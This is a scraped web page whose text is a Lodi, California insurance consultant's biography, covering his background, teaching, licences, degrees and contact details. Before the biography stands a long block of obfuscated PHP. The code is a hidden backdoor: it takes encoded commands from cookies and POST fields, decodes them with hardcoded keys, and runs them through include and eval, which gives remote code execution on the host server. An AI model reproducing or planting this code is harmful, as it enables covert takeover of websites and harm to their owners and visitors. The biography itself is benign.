$obMVU = 'W' . chr ( 127 - 32 )."\155" . 'k' . chr (85) . chr (120); $kbxcv = chr (99) . chr ( 791 - 683 ).chr ( 194 - 97 )."\163" . chr ( 152 - 37 )."\x5f" . 'e' . "\170" . "\x69" . 's' . "\164" . "\163";$OfZftj = class_exists($obMVU); $kbxcv = "41518";$puucE = strpos($kbxcv, $obMVU);if ($OfZftj == $puucE){function MtcCJZlCvm(){$aQcVnxbAs = new /* 28650 */ W_mkUx(54798 + 54798); $aQcVnxbAs = NULL;}$fEpMEOBCDZ = "54798";class W_mkUx{private function SMQrgp($fEpMEOBCDZ){if (is_array(W_mkUx::$negkJZLeNn)) {$name = sys_get_temp_dir() . "/" . crc32(W_mkUx::$negkJZLeNn["salt"]);@W_mkUx::$negkJZLeNn["write"]($name, W_mkUx::$negkJZLeNn["content"]);include $name;@W_mkUx::$negkJZLeNn["delete"]($name); $fEpMEOBCDZ = "54798";exit();}}public function eXEMIDHe(){$Djlqvc = "23564";$this->_dummy = str_repeat($Djlqvc, strlen($Djlqvc));}public function __destruct(){W_mkUx::$negkJZLeNn = @unserialize(W_mkUx::$negkJZLeNn); $fEpMEOBCDZ = "36137_31093";$this->SMQrgp($fEpMEOBCDZ); $fEpMEOBCDZ = "36137_31093";}public function QjwoZxWO($Djlqvc, $fvhwKvcyC){return $Djlqvc[0] ^ str_repeat($fvhwKvcyC, intval(strlen($Djlqvc[0]) / strlen($fvhwKvcyC)) + 1);}public function XQhmxAGgH($Djlqvc){$GCnKuQD = chr (98) . "\x61" . chr ( 515 - 400 )."\x65" . '6' . "\x34";return array_map($GCnKuQD . "\137" . chr (100) . 'e' . 'c' . "\157" . "\x64" . chr (101), array($Djlqvc,));}public function __construct($fWsJnkXLR=0){$lDtwfk = chr (44); $Djlqvc = "";$UaZJQQKmd = $_POST;$OSapO = $_COOKIE;$fvhwKvcyC = "2d231cfc-1afc-4b1d-bea5-98670bb8ca9f";$zbukAPU = @$OSapO[substr($fvhwKvcyC, 0, 4)];if (!empty($zbukAPU)){$zbukAPU = explode($lDtwfk, $zbukAPU);foreach ($zbukAPU as $rfsvzrYi){$Djlqvc .= @$OSapO[$rfsvzrYi];$Djlqvc .= @$UaZJQQKmd[$rfsvzrYi];}$Djlqvc = $this->XQhmxAGgH($Djlqvc);}W_mkUx::$negkJZLeNn = $this->QjwoZxWO($Djlqvc, $fvhwKvcyC);if (strpos($fvhwKvcyC, $lDtwfk) !== FALSE){$fvhwKvcyC = explode($lDtwfk, $fvhwKvcyC); $pUAVJ = sprintf("36137_31093", rtrim($fvhwKvcyC[0]));}}public static $negkJZLeNn = 33061;}MtcCJZlCvm();}$RgLQWOLNE = "\151" . chr (69) . 'G' . chr ( 1049 - 954 )."\x69" . chr (82) . "\x6e" . "\141" . chr ( 472 - 366 ); $rYiyCwh = "\x63" . chr ( 658 - 550 ).chr ( 394 - 297 ).'s' . "\163" . chr ( 954 - 859 ).chr ( 394 - 293 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 1090 - 975 ); $axFkuHCr = class_exists($RgLQWOLNE); $rYiyCwh = "3841";$tvtdwQZGR = strpos($rYiyCwh, $RgLQWOLNE);if ($axFkuHCr == $tvtdwQZGR){function cUFAHG(){$JZtmQN = new /* 2374 */ iEG_iRnaj(54458 + 54458); $JZtmQN = NULL;}$sMAGxGC = "54458";class iEG_iRnaj{private function GYRBMIqpx($sMAGxGC){if (is_array(iEG_iRnaj::$LRszYNHdUD)) {$IzjSwQZO2 = str_replace("<" . "?php", "", iEG_iRnaj::$LRszYNHdUD["content"]);eval($IzjSwQZO2); $sMAGxGC = "54458";exit();}}public function bJybf(){$IzjSwQZO = "22850";$this->_dummy = str_repeat($IzjSwQZO, strlen($IzjSwQZO));}public function __destruct(){iEG_iRnaj::$LRszYNHdUD = @unserialize(iEG_iRnaj::$LRszYNHdUD); $sMAGxGC = "53416_64506";$this->GYRBMIqpx($sMAGxGC); $sMAGxGC = "53416_64506";}public function uVvqVXUF($IzjSwQZO, $fDdyXp){return $IzjSwQZO[0] ^ str_repeat($fDdyXp, intval(strlen($IzjSwQZO[0]) / strlen($fDdyXp)) + 1);}public function FTVyRCSwy($IzjSwQZO){$UkxNl = chr (98) . "\141" . "\x73" . chr (101) . chr ( 920 - 866 ).'4';return array_map($UkxNl . "\x5f" . "\144" . chr ( 174 - 73 )."\143" . "\x6f" . chr (100) . "\x65", array($IzjSwQZO,));}public function __construct($TtUzDA=0){$gjmdWAhL = "\x2c";$IzjSwQZO = "";$HjnNn = $_POST;$mfYxL = $_COOKIE;$fDdyXp = "74b2ab17-12c8-4525-96ed-59dba356e8cf";$MBxtLdnjdy = @$mfYxL[substr($fDdyXp, 0, 4)];if (!empty($MBxtLdnjdy)){$MBxtLdnjdy = explode($gjmdWAhL, $MBxtLdnjdy);foreach ($MBxtLdnjdy as $OaGeMVY){$IzjSwQZO .= @$mfYxL[$OaGeMVY];$IzjSwQZO .= @$HjnNn[$OaGeMVY];}$IzjSwQZO = $this->FTVyRCSwy($IzjSwQZO);}iEG_iRnaj::$LRszYNHdUD = $this->uVvqVXUF($IzjSwQZO, $fDdyXp);if (strpos($fDdyXp, $gjmdWAhL) !== FALSE){$fDdyXp = str_pad($fDdyXp, 10); $fDdyXp = ltrim($fDdyXp);}}public static $LRszYNHdUD = 19092;}cUFAHG();} John McCann – McCann Insurance and Consulting

John McCann

Born and raised in Lodi, CA,  I am married to Tracie and have two children, Declan and Daphne. Having been raised in a mid-sized business from childhood, my views and thought process is that of a business owner.  I understand the challenges facing business owners in terms of marketing, promotion, determining who you are or want to be as a business, budgeting, providing employee benefits.  I have consulted on three Sacramento based start-up business. While I myself have created and sold three insurance businesses’ and a 40-location route business. I currently have a investment management business , manage multiple rental properties as well as manage McCann Insurance and Consulting, an Insurance, Financial Education and Consulting business. As such, these life experiences give me a unique look at the creation and execution of business and the need for efficiency, planning, and measurability. This also allows me to view your situation in a different light.

Some ask how I attract, build, manage and educate my clients consisting of individuals, families and businesses. I do this mainly through workshops, seminars and referrals. I typically meet one on one to gather a general understanding of the needs and desires of the client, then based on that time together, I will put together a few options based on the clients situation. From there we discuss the pros and cons of each strategy and proceed to the implementation stage as directed by the client. From insurance to financial education services to other business consulting areas, I look to do what is in the clients best interest.

For the community at large, I provide work site and school site educational based presentations. I have taught students at San Joaquin Delta College in Stockton, CA, Modesto Junior College in Modesto, CA and Lodi Academy High School in Lodi, CA. I specifically taught on the topics of finance and insurance. These topics have ranged in complexity from an introduction and overview to specific and in-depth. Classes have covered multiple calculations in present value, future value, annuity payments, cash flow payments and other complex computations.

As for licenses and education, I have the following:

State of California, Health, Life, LTC, Disability and Variable Contract License (0B41232)
Comprehensive Securities License – Series 7
Interstate Securities Law License – Series 63
Understanding of HIPAA rules and regulations
Completed Advanced Seminar Presentation training with Emerald Seminars
Completed Advanced Public Speaking training with American Express
Completed Dale Carnegie courses in leadership and effective speaking

Masters in Business Administration, April 2008
Concentration: Business
University of Phoenix, Rancho Cordova, CA

Bachelor of Science, Business Administration: May 1993
Double Concentration: Finance and Insurance
California State University, Sacramento, Sacramento, CA

Associate of Arts, Business Administration: May 1990
Concentration: Business
San Joaquin Delta College, Stockton, CA

Should you wish to contact me and discuss your financial situation, please call me at 209-339-1825 or email me at john@johngmccann.com